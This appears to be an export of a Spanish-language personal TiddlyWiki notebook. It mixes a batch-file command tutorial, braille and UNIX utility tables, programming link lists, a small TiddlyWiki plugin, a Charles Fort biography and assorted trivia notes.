2006.05.16 [3.3.0] completed XMLHttpRequest handling for GET or POST to configurable server scripts
2006.05.13 [3.2.0] added interface for upload feature. Major rewrite of code for clean object definitions. Major improvements in UI interaction and validation.
2006.05.09 [3.1.1] add wikifer support for using attachments in links from "linked image" syntax: {{{[img[tip|attachment1][attachment2]]}}}
2006.05.09 [3.1.0] lots of code changes: new options for attachments that use embedded data and/or links to external files (local or remote)
2006.05.03 [3.0.2] added {{{/%...%/}}} comments around attachment data to hide it when viewing attachment tiddler.
2006.02.05 [3.0.1] wrapped wikifier hijacks in initAttachmentFormatters() function to eliminate globals and avoid FireFox 1.5.0.1 crash bug when referencing globals
2005.12.27 [3.0.0] Update for TW2.0. Automatically add 'excludeMissing' tag to attachments
2005.12.16 [2.2.0] Dynamically create/remove attachPanel as needed to ensure only one instance of interface elements exists, even if there are multiple instances of macro embedding.
2005.11.20 [2.1.0] added wikifier handler extensions for "image" and "prettyLink" to render tiddler attachments
2005.11.09 [2.0.0] begin port from old ELS Design adaptation based on ~TW1.2.33
2005.07.20 [1.0.0] Initial release (as adaptation)
<<<
!!! Descripción
!!! Enlaces
* http://aufs.sourceforge.net/
Extraido de http://es.wikipedia.org/wiki/Batch
Mas información en:
* http://en.wikipedia.org/wiki/Batch_file
* http://en.wikibooks.org/wiki/Guide_to_Windows_commands
* http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/batch.mspx?mfr=true
* http://lipas.uwasa.fi/~ts/http/http2.html#cmdscript
* http://www.ignside.net/man/dos/batch.php
* http://www.cristalab.com/tips/programacion-batch-con-archivos-.bat-c48410l/
! Introducción
En DOS, OS/2 y Microsoft Windows un archivo batch es un archivo de procesamiento por lotes. Se trata de archivos de texto sin formato, guardados con la extensión BAT que contienen un conjunto de comandos MS-DOS. Cuando se ejecuta este archivo, (mediante command.com) los comandos contenidos son ejecutados en grupo, de forma secuencial, permitiendo automatizar diversas tareas. Cualquier comando MS-DOS puede ser utilizado en un archivo batch.
Esta es la forma de automatizar procesos (copiar, pegar, renombrar y enviar datos) de MS-DOS así evitamos procesos rutinarios y monotonos, esto es trabajo de máquina. Tiene la funcionalidad de conectarse con otras interfaces por línea de comandos.
Un fichero batch es un archivo de texto que contiene comandos a ejecutar en un intérprete de comandos propio de DOS o OS/2. Cuando es iniciado, un programa shell (típicamente COMMAND.COM o cmd.exe) lo lee y ejecuta, generalmente línea a línea. De este modo, se emplea para ejectuar series de comandos automáticamente. El hecho de que funcione solo para MS-DOS lo hace muy limitado. Su extension es BAT y sus comandos principales son goto, echo, if, type y exit.
! Comandos batch
Hay varios comandos especiales para este tipo de archivos:
!! CALL
Este comando realiza, desde un archivo batch, una llamada a la ejecución de otro archivo batch. El primer archivo no finaliza su ejecución al realizar la llamada. Sintaxis:
{{{
> CALL [unidad_disco:][path]nombre_archivo [parámetros]
}}}
donde {{{[unidad_disco:][path]nombre_archivo}}} es la ruta al archivo batch llamado (debe ser un archivo *.bat) y {{{[parámetros]}}} puede ser cualquier tipo de información que necesite el programa llamado que pueda pasarse el línea de comandos.
!! CHOICE
Ofrece al usuario una entrada de datos para que pueda escoger una opción (escoger una de las letras que se le ofrecen), y espera hasta que esta tenga lugar. Sintaxis:
{{{
> CHOICE [/C[:]letra] [/N] [/S] [/T[:]c,nn] [texto]
}}}
puedes especificar un texto que aparecerá antes de la entrada de datos. No hace falta que se entrecomille, salvo que dicha cadena de texto incluya una barra /.
Parámetros:
* {{{/C[:]letra}}}: especifica las letras que indicarán las opciones del usuario. Si las especificas separadas por comas, aparecerán entre corchetes seguidas de un interrogante. Si no se especifican, se usara YN (si, no) por defecto.
* {{{/N}}}: evita que se muestre el prompt de usuario.
* {{{/S}}}: hace que discrimine entre entrada de letras mayúsculas o minúsculas.
* {{{/T[:]c,nn}}}: introduce un tiempo de espera antes de ejecutar la acción por defecto. Con los siguientes posibles valores:
** {{{c:}}} señala que carácter será usado como opción por defecto después de nn segundos. Solo puedes indicar uno de los carácteres especificados con el modificador /C
** {{{nn:}}} indica el número de segundos de pausa. Valores entre 0 y 99.
!! ECHO
Activa o desactiva el volcado de texto del programa (output) a la pantalla:
{{{
> ECHO [ON|OFF]
> ECHO[mensaje] Parámetros
}}}
Parámetros:
* {{{ON|OFF}}}: activa o desactiva el volcado de texto. Para conocer el estado actual, usar ECHO sin parámetros.
* {{{Mensaje}}}: el texto a mostrar. Tambien podemos mostrar una linea en blanco, añadiendo un punto al final
!! FOR
Ejecuta un comando sobre un grupo de archivos. Puede utilizarse en la línea de comandos o en un archivo bat.
En archivos BAT:
{{{
> FOR %%variable IN (set) DO command [command-parameters]
}}}
En línea de comandos:
{{{
> FOR %variable IN (set) DO command [command-parameters]
}}}
Parámetros:
* {{{%%variable %variable}}}: representa una variable que será reemplazada por su valor. FOR reemplazará {{{%%variable}}} o {{{%variable}}} con la cadena de carácteres especificados en SET hasta que el comando especificado se haya ejecutado sobre todos los archivos. {{{%%variable}}} se emplea con FOR dentro de archivos batch, y {{{%variable}}} desde la linea de comandos.
* {{{(set)}}}: especifica uno o más archivos de texto (o cadenas) que se procesaran con el comando. Necesita paréntesis.
* {{{command}}}: el comando que debe ejecutarse sobre cada archivo especificado en SET parámetros de comando. Podemos emplear el comando con cualquiera de sus parámetros habituales.
!! GOTO
Salta la ejecución del programa hacia la línea indicada:
{{{
> GOTO :label
}}}
Donde {{{:label}}} (advierte los dos puntos) es una etiqueta que identifica la linea. 8 caracteres máximo.
!! IF
Permite la ejecución condicional. Sintaxis:
{{{
> IF [NOT] ERRORLEVEL número comando
> IF [NOT] var1 == var2 comando
> IF [NOT] EXIST nombre_archivo comando
}}}
Parámetros:
* {{{NOT}}}: el comando sujeto a condición se ejecuta solo si esta es falsa.
* {{{ERRORLEVEL número}}}: la condición es verdadera sólo si el comando anterior devuelve un código de salida igual o mayor que el especificado
* {{{command:}}} especifica el comando a ejecutar si la condición se cumple {{{var1 == var2}}}. La condición se cumple solo si {{{var1}}} es igual a {{{var2}}}. {{{var1}}} y {{{var2}}} pueden ser cadenas de texto o variables.
* {{{EXIST nombre_archivo}}}: la condición se cumple si existe {{{nombre_archivo}}}.
!! PAUSE
Suspende la ejecución de comandos y presenta un mensaje para que el usuario presione una tecla para continuar.
{{{
> PAUSE [> null]
}}}
Si se indica {{{[> null]}}} no muestra mensaje al pausar la ejecución, pero sigue requiriendo que el usuario presione cualquier tecla para poder continuar.
!!REM
Línea de comentario. Podemos usar {{{REM}}} O {{{::}}}.
!!SHIFT
Alterna la posición de los parámetros en el archivo bat.
! Parámetros pasados al script batch
Las variables {{{%1}}} a {{{%9}}} almacenan los parámetros que se pasaron al ejecutar el archivo bat. Por ejemplo si tenemos un archivo {{{saludo.bat}}} con el siguiente contenido:
{{{
echo Hola %1
}}}
si lo ejecutamos tecleando {{{saludo.bat pepe}}} presentará en pantalla "Hola Pepe". Se usa por ejemplo para pasar nombres de ficheros a un bat que se encarga de borrarlos, moverlos, etc.
La variable {{{%0}}} representa el nombre del archivo bat en ejecución. La variable {{{%*}}} representa todos los parámetros que se le pasaron.
!Descripción
Apuntes sobre biología
!Apuntes rápidos
*
!Enlaces interesantes
* Primer transplante de cabeza (animal):
** http://www.manuelanorga.com/2007/09/25/video-el-primer-transplante-de-cabeza-interesante-documental-que-no-puedes-dejar-de-ver/
** http://www.alpoma.net/tecob/?p=243
* ¿Como son tus heces? http://es.wikipedia.org/wiki/Escala_de_heces_de_Bristol
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre botánica: plantes y vegetales de todo tipo
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Alfabeto español unicode
|⠁ | a,1 | ⠞ | t | ⠷ | á |
|⠃ | b,2 | ⠥ | u | ⠮ | é |
|⠉ | c,3 | ⠧ | v | ⠌ | í |
|⠙ | d,4 | ⠺ | w | ⠬ | ó |
|⠑ | e,5 | ⠭ | x | ⠾ | ú |
|⠋ | f,6 | ⠽ | y | ⠳ | ü |
|⠛ | g,7 | ⠵ | z | ||
|⠓ | h,8 | ⠨ | Signo de Mayúsculas |||
|⠊ | i,9 | ⠼ | Signo de número |||
|⠚ | j,0 | ⠄ | Punto (.) (punto 3) |||
|⠅ | k | ⠂ | Coma (,) (punto 2) |||
|⠇ | l | ⠢ | Signos de interrogación (¿?) |||
|⠍ | m | ⠆ | Punto y coma (;) | ||
|⠝ | n | ⠖ | Signos de exclamación (¡ !) |||
|⠻ | ñ | ⠒ | Dos puntos (:) |||
|⠕ | o | ⠦ | Comillas (de cualquier tipo) |||
|⠏ | p | ⠣ | Abrir paréntesis "(" |||
|⠟ | q | ⠜ | Cerrar paréntesis ")" |||
|⠗ | r | ⠤ | Guión (-) |||
|⠎ | s | ⠀ | espacio (ningún punto) |||
|>| 1 |>| 2 |>| 3 |>| 4 |>| 5 |>| 6 |>| 7 |>| 8 |>| 9 |>| 0 |h
|⠁|a,1|⠃ | b,2 |⠉ | c,3 |⠙ | d,4 |⠑ | e,5 |⠋ | f,6 |⠛ | g,7 |⠓ | h,8 |⠊ | i,9 |⠚ | j,0 |
|⠅ | k |⠇ | l |⠍ | m |⠝ | n |⠕ | o |⠏ | p |⠟ | q |⠗ | r |⠎ | s |⠞ | t |
|⠥ | u |⠧ | v |⠭ | x |⠽ | y |⠵ | z | | ç | | è |⠷ | á |⠮ | é |⠾ | ú |
| | â | | ê | | ì | | ô | | ù | | à |⠻ |ï,ñ |⠳ | ü | | ~o |⠺ | ò,w |
|⠌ | í | | ~a |⠬ | ó |⠂ | , |⠆ | ; |⠖ | ¡,! | | * | | $ |⠒ | : |⠢ | ¿,? |
! Más información
* http://www.funcaragol.org/html/alfbradl.htm
* http://www.braillevirtual.fe.usp.br/es/index.html
* http://es.wikipedia.org/wiki/Braille_(lectura)#Alfabeto_Braille_espa.C3.B1ol_en_codificaci.C3.B3n_Unicode
!!! Descripción
!!! Enlaces
* http://es.wikipedia.org/wiki/Btrfs
* http://btrfs.wiki.kernel.org/index.php/Main_Page
* http://btrfs.wiki.kernel.org/index.php/FAQ
* http://diegocg.blogspot.com/2009/09/btrfs.html
!Facil
<<minesweeper>>
!Medio
<<minesweeper 16 16 40>>
!Dificil
<<minesweeper 16 30 99>>
!Descripción
Apuntes sobre C y C++
!Apuntes rápidos
*
!Enlaces interesantes
* Buenas prácticas para programar en C: http://www.embedded.com/columns/barrcode/216200567?printable=true
* Aprenda C como si estuviera en primero: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/AnsiC/leng_c.pdf
* Desarrollar C en UNIX, con ejemplos: http://www.thegeekstuff.com/2009/09/how-to-write-compile-and-execute-c-program-on-unix-os-with-hello-world-example/
* Buenas prácticas y seguridad en C y C++:
** Validating C and C++ for Safety and Security: http://www.ddj.com/article/printableArticle.jhtml?articleID=184402075&dept_url=/cpp/
** Wide-Character Format String Vulnerabilities: http://www.ddj.com/article/printableArticle.jhtml?articleID=184406350&dept_url=/cpp/
** Decoupling C Header Files: http://www.ddj.com/article/printableArticle.jhtml?articleID=212701130&dept_url=/cpp/
** Uso de {{{volatile}}}: http://www.ddj.com/article/printableArticle.jhtml?articleID=212701484&dept_url=/cpp/
** Logging: http://www.ddj.com/article/printableArticle.jhtml;jsessionid=T5NLJPKTVMOA3QE1GHOSKH4ATMY32JVN?articleID=212902973&dept_url=/cpp/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre C++
!Apuntes rápidos
*
!Enlaces interesantes
* ''Tutoriales:''
** C++ Language Tutorial: http://www.cplusplus.com/doc/tutorial/
** C++ Con Clase: http://www.conclase.net/c/curso/index.php
** C++ Básico: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Cpp/basico/cppbasico.pdf
** C++ Avanzado: http://www.tecnun.es/asignaturas/Informat1/ayudainf/aprendainf/Cpp/avanzado/cppavan.pdf
** Artículos del crador de C++: http://www.research.att.com/~bs/C++.html
* ''Referencia:''
** C++ reference: http://www.cppreference.com/wiki/
** C++ Standard Library: http://en.wikipedia.org/wiki/C%2B%2B_standard_library
** Standard C++ Library Module Reference Guide: http://www2.roguewave.com/support/docs/sourcepro/edition9-update1/html/stdlibref/index.html
** Standard C++ Library Module User's Guide: http://www2.roguewave.com/support/docs/sourcepro/edition9-update1/html/stdlibug/index.html
** Standard C++ Library Reference (MSDN): http://msdn.microsoft.com/en-us/library/cscc687y%28VS.80%29.aspx
** C++ Reference Material. Standard Library (but no STL): http://cs.stmarys.ca/~porter/csc/ref/cpp_standlib.html
** The GNU C++ Library Documentation: http://gcc.gnu.org/onlinedocs/libstdc++/
** C++0x: http://en.wikipedia.org/wiki/C++0x
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!!! Descripción
!!! Enlaces
* http://oss.oracle.com/projects/crfs/
!Descripción
Apuntes y notas sobre CSS
!Apuntes rápidos
* Problemas con propiedad {{{display}}}: No utilices ''jamás'' {{{display:table-row;}}} en internet explorer. Usa sólo {{{block}}}, {{{inline-block}}} o {{{none}}}.
!Apuntes rápidos
*
!Enlaces interesantes
* CSS reference: http://w3schools.com/css/css_reference.asp
* 50 ejemplos de CSS: http://www.noupe.com/css/using-css-to-do-anything-50-creative-examples-and-tutorials.html
* 101 técnicas (parte I): http://www.noupe.com/design/101-css-techniques-of-all-time-part-1.html
* 101 técnicas (parte II): http://www.noupe.com/css/101-css-techniques-of-all-time-part2.html
* Todo sobre los esquemas de color y paletas: http://www.avivadirectory.com/color/
* Soporte de CSS en clientes email: http://www.webappers.com/2008/06/14/a-guide-to-css-support-in-email/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre cálculo numérico
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
La carga de ficheros de propiedades es un quebradero de cabeza para los programadores [[Java]]. El concepto es sencillo, pero en la realización interfieren muchos factores inesperados que hacer que encontrar la localización del fichero de propiedades sea una ardua tarea.
El siguiente ejemplo sirve para una aplicación web:
{{{
public static void loadProperties() {
try {
configProperties = new Properties();
InputStream istream = Util.class.getResourceAsStream("/WEB-INF/classes/"+PROPERTIES_FILE);
configProperties.load(istream);
} catch (Exception e) {
log.error("Error en configureProperties: " + e, e);
}
}
}}}
! Biografía
La vida de este hombre se basó en una máxima: el absoluto escepticismo, tanto hacia la ciencia como hacia lo paranormal. Para él, lo fundamental eran los hechos. La ciencia de la época era demasiado ortodoxa para él, y criticó muchas veces que los científicos adaptaran datos para adecuarlos a sus predicciones en vez de a observaciones evidentes. Para Charles Fort lo más importante era lo evidente y tangible o, como decía él, "la importancia de los hechos".
En su faceta literaria, se dedicó a recoger historias "extrañas" (hoy en día lo llamaríamos "expedientes X") y a publicarlas sin hacer juicios de valor sobre la naturaleza de los hechos. Publicó 4 libros de colecciones de este tipo de relatos.
Su oposición a la ciencia excesivamente estricta e inflexible y las colecciones de "historias extrañas" que publicó, han hecho pensar a mucha gente que este hombre era un amante de lo paranormal y creyente de lo que suele llamarse "pseudociencias", pero nada más lejos de la realidad. Charles Fort se preocupaba en recoger hechos que la ciencia desdeñaba por no poder explicarlos, pero no les daba una explicación paranormal. Como buen escéptico creía que cualquier teoría podía ser posible y que sólo se podía tener una certeza relativa sobre la veracidad de las mismas. Dar una explicación paranormal como definitiva iría contra sus más arraigados principios.
Hay que tener en cuenta también la situación del mundo científico de la época para comprender mejor sus ideas y su oposición a la "ciencia estricta". En esa época la mayor parte de los científicos estaban convencidos de que todo podía reducirse a fórmulas matemáticas y que la mecánica newtoniana regía férreamente el universo. Un ejemplo famoso fue cuando en 1934 unos científicos franceses dictaminaron que los abejorros no podía volar, porque unas alas tan pequeñas no podían sustentar su peso.
En este entorno de ciencia estricta y hostil surgió una corriente de escritores de literatura fantástica que promovía la imaginación como contrapunto al estricto academicismo.
Las historias extrañas e inquietantes recogidas por este escritor sirvieron de inspiración a otros literatos como [[H. P. Lovecraft|http://es.wikipedia.org/wiki/H._P._Lovecraft]] o el recientemente fallecido [[John A. Keel|http://www.absoluteastronomy.com/topics/John_Keel]].
! Legado
Su fuerte personalidad y sus ideas escépticas atrajeron hacia su obra y su figura a multitud de intelectuales coetáneos, de tal forma que algunos llegaron a fundar "sociedades fortianas" dedicadas a la recopilación y divulgación de las historias que hicieron famoso a Charles Fort, bien fuera en formato de revista o de libros, aunque quien quizás haya mantenido mejor la esencia "fortiana" ha sido el escritor estadounidense [[William R. Corliss]].
! Más información
* http://es.wikipedia.org/wiki/Charles_Fort
* http://www.skepdic.com/fortean.html
!Descripción
Apuntes sobre científicos, ingenieros, descubridores y otras gentes que hayan hecho avances y descubrimientos interesantes para la humanidad.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Las declaraciones más absurdas
//extraido de: [[http://www.publico.es/internacional/250010/george/bush/encabeza/lista/declaraciones/absurdas]] //
# ''George W. Bush'', presidente de EEUU, el 5 de agosto de 2004: "Nuestros enemigos son innovadores y tienen recursos, y nosotros también. No dejan de pensar nunca en nuevas maneras de hacer daño a nuestro país y a nuestra gente, y nosotros tampoco".
# ''Arnold Schwarzenegger'', gobernador de California, en la campaña electoral de 2003: "Creo que el matrimonio gay debería ser entre un hombre y una mujer".
# ''Donald Rumsfeld'', secretario estadounidense de Defensa, el 12 de febrero de 2002: "Las informaciones que dicen que algo no ha pasado siempre me resultan interesantes. Hay cosas que sabemos que sabemos. También hay cosas desconocidas conocidas, es decir que sabemos que hay algunas cosas que no sabemos. Pero también hay cosas desconocidas que desconocemos, las que no sabemos que no sabemos".
# ''Murray Walker'', comentarista de automovilismo: "El coche que va en cabeza es absolutamente único, excepto por el que va detrás, que es idéntico"
# ''John Motson'', comentarista de fútbol: "Para aquellos que estén viendo el partido en blanco y negro, los Spurs van de amarillo".
# ''Gordon Brown'', primer ministro británico, 1 de julio de 2009: "El gasto público total seguirá aumentando y será de un 0% en el periodo 2013-2014".
# ''Bill Clinton'' en 1998 durante su testimonio ante el gran jurado del 'caso Lewinsky': "Depende de cuál sea es el significado de la palabra 'es'. Si 'es' significa 'es y un nunca ha sido', eso es una cosa; si significa 'no hay ninguno', entonces fue una declaración completamente cierta".
# ''Eric Cantona'', futbolista, en 1995: "Cuando las gaviotas siguen a la barca de arrastre, es porque piensan que las sardinas van a ser arrojadas al mar".
# ''George W. Bush'', presidente estadounidense, el 22 de julio de 2001: "Yo sé lo que creo. Seguiré expresando lo que creo y en lo que creo. Creo que lo que creo es lo correcto".
# ''Boris Johnson'', alcalde de Londres, en 2003: "No podría discrepar menos contigo"
/***
|Name:|CloseOnCancelPlugin|
|Description:|Closes the tiddler if you click new tiddler then cancel. Default behaviour is to leave it open|
|Version:|3.0.1 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#CloseOnCancelPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.commands.cancelTiddler,{
handler_mptw_orig_closeUnsaved: config.commands.cancelTiddler.handler,
handler: function(event,src,title) {
this.handler_mptw_orig_closeUnsaved(event,src,title);
if (!store.tiddlerExists(title) && !store.isShadowTiddler(title))
story.closeTiddler(title,true);
return false;
}
});
//}}}
!Descripción
Apuntes sobre cocina, restauración, alimentación y dietética.
!Apuntes rápidos
*
!Enlaces interesantes
* Recetas de cocina italiana: http://recetasitalianasenespanol.blogspot.com/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Introducción
El cocodrilo marino es el tipo de cocodrilo más grande conocido, y puede llegar a medir entre 6 y 8 metros de largo. Su nombre proviene de su capacidad para desplazarse y cazar tanto por agua dulce como salada. A través del mar puede recorrer grandes distancias y puede ser tan peligroso para los bañistas como los tiburones más agresivos. Esta capacidad para sobrevivir en el mar es probablemente la razón por la que se encuentra tan extendido en las zonas cálidas.
Su distribución es muy extensa, principalmente entre los océanos índico y pacífico. Son muy comunes en Australia.
El cocodrilo marino es una de las especies animales más peligrosas para el ser humano, y se cuentra entre los mayores depredadores de humanos del mundo. Cada año en torno a 1000 personas mueren devoradas por estos animales.
!Más información
* Wikipedia: http://es.wikipedia.org/wiki/Crocodylus_porosus
* Más información: http://www.damisela.com/zoo/rep/cocodrilos/mar/index.htm
!Descripción
Apuntes sobre codificación de textos: ASCII, unicode, entidades HTML, etc
!Apuntes rápidos
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Comantos básicos de UNIX
* ''watch'': Permite mostrar continuamente la salida por consola de un comando.
//(extraido de http://en.wikipedia.org/wiki/List_of_Unix_Utilidades)//
|>|>| !IEEE Std 1003.1-2001 Utilidades |h
|!Nombre |!Categoría |!Descripción |
|[[admin]] |[[http://en.wikipedia.org/wiki/Source_Code_Control_System|SCCS]] |Create and administer [[http://en.wikipedia.org/wiki/Source_Code_Control_System|SCCS]] files |
|[[Alias|alias]]|Misc |Define or display aliases |
|[[ar|ar]]|Misc|Create and maintain [[Library(computing)|library]] archives|
|[[asa|asa]]|Procesamiento de texto|Interpret carriage-control characters|
|[[at |at]]|Gestión de procesos|Execute commands at a later time|
|[[awk|TutorialAwk]]|Procesamiento de texto|Pattern scanning and processing language|
|[[basename]]|Sistema de archivos|Return non-directory portion of a pathname|
|[[batch|batch]]|Gestión de procesos|Schedule commands to be executed in a batch queue|
|[[bc|TutorialBc]]|Misc|[[Arbitrary-precision arithmetic]] language|
|[[bg|bg]]|Gestión de procesos|Run jobs in the background|
|[[break|break]]|Programación en consola|Exit from [[forloop|for]], [[whileloop|while]], or [[until]] [[Controlflow#Loops|loop]]|
|[[c99|c99]]|Programación en C|[[compiler|Compile]] standard [[C|C]] programs|
|[[cal|cal]]|Misc|Print a calendar|
|[[cat|cat]]|Sistema de archivos|Concatenate and print files|
|[[chdir|cd]]|Sistema de archivos|Change the working directory|
|[[cflow]]|Programación en C|Generate a C-language [[flowgraph]]|
|[[chgrp]]|Sistema de archivos|Change the file group ownership|
|[[chmod]]|Sistema de archivos|Change the file modes/attributes/permissions|
|[[chown]]|Sistema de archivos|Change the file ownership|
|[[cksum]]|Sistema de archivos|Write file [[checksums]] and sizes|
|[[cmp|cmp]]|Sistema de archivos|Compare two files|
|[[colon|colon]]|Programación en consola|Null utility|
|[[comm]]|Procesamiento de texto|Select or reject lines common to two files|
|[[command |command]]|Programación en consola|Execute a simple command|
|[[compress]]|Sistema de archivos|Compress data|
|[[continue |continue]]|Programación en consola|Continue [[forloop|for]], [[whileloop|while]], or [[until]] [[Controlflow#Loops|loop]]|
|[[cp|cp]]|Sistema de archivos|Copy files|
|[[crontab]]|Misc|Schedule periodic background work|
|[[csplit]]|Procesamiento de texto|Split files based on context|
|[[ctags]]|Programación en C|Create a tags file|
|[[cut|cut]]|Programación en consola|Cut out selected fields of each line of a file|
|[[cxref]]|Programación en C|Generate a [[C|C-language]] program cross-reference table|
|[[date|date]]|Misc|Write the date and time|
|[[dd|dd]]|Sistema de archivos|Convert and copy a file|
|[[delta|delta]]|SCCS|Make a delta (change) to an SCCS file|
|[[df|df]]|Sistema de archivos|Report free disk space|
|[[diff]]|Procesamiento de texto|Compare two files|
|[[dirname]]|Sistema de archivos|Return the directory portion of a pathname|
|[[dot|dot]]|Programación en consola|Execute commands in the current environment|
|[[du|du]]|Sistema de archivos|Estimate file space usage|
|[[echo|echo]]|Programación en consola|Write arguments to standard output|
|[[ed|ed]]|Procesamiento de texto|Edit text|
|[[env|env]]|Misc|Set the environment for command invocation|
|[[eval_]]|Programación en consola|Construct command by concatenating arguments|
|[[ex|ex]]|Procesamiento de texto|Text editor|
|[[exec|exec]]|Programación en consola|Execute commands and open, close, or copy [[file descriptors]]|
|[[exit|exit]]|Programación en consola|Cause the shell to exit|
|[[expand|expand]]|Procesamiento de texto|Convert tabs to spaces|
|[[Environmentvariable#UNIX|export]]|Misc|Set the export attribute for variables|
|[[expr]]|Programación en consola|Evaluate arguments as an expression|
|[[false|false]]|Programación en consola|Return false value|
|[[fc|fc]]|Misc|Process the command history list|
|[[fg|fg]]|Gestión de procesos|Run jobs in the foreground|
|[[file|file]]|Sistema de archivos|Determine file type|
|[[find]]|Sistema de archivos|Find files|
|[[fold|fold]]|Procesamiento de texto|Filter for folding lines|
|[[fort77]]|Programación en C|[[FORTRAN]] compiler|
|[[fuser|fuser]]|Gestión de procesos|List [[Processidentifier|process IDs]] of all processes that have one or more files open|
|[[gencat]]|Misc|Generate a formatted message catalog|
|[[get|get]]|SCCS|Get a version of an SCCS file|
|[[getconf]]|Misc|Get configuration values|
|[[getopts]]|Programación en consola|Parse utility options|
|[[grep]]|Misc|Search a file for a pattern|
|[[hash|hash]]|Misc|Remember or report utility locations|
